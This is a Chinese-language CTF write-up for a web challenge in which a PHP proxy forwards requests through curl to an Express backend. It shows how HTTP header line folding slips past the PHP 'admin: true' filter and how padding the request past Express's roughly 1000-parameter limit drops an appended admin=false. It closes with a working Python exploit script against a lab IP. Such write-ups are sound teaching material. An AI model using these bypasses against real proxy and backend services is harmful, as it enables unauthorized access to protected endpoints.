首先看 js 的 express 框架
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});
必须满足查询参数中不包含 flase,请求头有 admin:true (这里的请求头是 post 中的请求头)
再看 web php 代码
$input = file_get_contents('php://input');
这里是直接获取的 post 内容
$headers = (array)json_decode($input)->headers;
将一个 JSON 字符串解析为 PHP 对象,然后提取其中的 headers 字段,并将其转换为 PHP 数组
for($i = 0; $i < count($headers); $i++){ $offset = stripos($headers[$i], ':'); $key = substr($headers[$i], 0, $offset); $value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
这段 PHP 代码遍历一个 HTTP 头数组($headers),检查是否有 admin 头且其值包含 true,如果匹配到,则终止脚本并返回 'try hard'。
$params = (array)json_decode($input)->params;
同理,这一段用于将 post 中的 params 数据转化php数组
$url .= http_build_query($params); //将 $params 转化为查询字符串并拼接到 url 后面
$url .= '&admin=false'; //这里拼接了 false,使后端 express 监听错误
那么矛盾点就出来了,一个是请求头 header 的 admin,一个是请求参数 param 的 admin 的矛盾
首先解决 header
js 要求 admin 值包含 true,php 要求不能有 admin:true (包含) 出现 可以构造
{headers:["admin: x"," true: y"]}
本来应该这样
{headers:["admin:true"]}
RFC 7230(HTTP/1.1 协议的定义)规定了 field-name 是由一个或多个打印的 ASCII 字符组成,不包括分隔符,包括空格。因此,如果一个 field-name 的第一个字符是空格,那么这个 HTTP header 是非法的,应该被服务器或客户端忽略或拒绝。 根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行 curl 生成的 headers 如下 (注意空格)
这段数据先传入服务端,被 php 函数处理加工,经过 curl 后是这样的(注意空格) 因为 curl 会找冒号去分开数据
admin: x
true: y
然后这段数据继续通过代理传向后端服务,由于协议,header 会转化为
"admin": "x true y"
从而绕过 js 处的 true 判断
然后解决 paramas
因为 curl 在 params 查询参数添加了 admin=flase,所以要想办法截断
而 express 框架对于查询参数大小是有截断的

大概是 1000 个参数
那么只要参数足够多就可以挤掉最后 curl 添加的 admin=false
构造
params:["admin":true,"x":1,"x":1........]
最后 exp
{headers:["admin":"x"," true":"y"],arams:["admin":true,"x":1,"x":1........]}
import requests
import re
url = "http://61.147.171.105:54269/"
cop = ''
for i in range(1000):
cop += f',"{i}":"1"'
data = '{"headers":["admin: x"," true: y"],"params":{"admin":"t","x":"1"'+cop+'}}'
res = requests.post(url,data=data)
# 修正后的正则:匹配4-10个字母字符后跟JSON内容
pattern = re.compile(r'[a-zA-Z]{4,10}{.*?}')
flag = pattern.findall(res.text)
if flag:
print(flag)
注意这里请求参数个数 1000,太大了比如 10000 就无法成功 而且请求参数尽量不要重复,也会出现错误
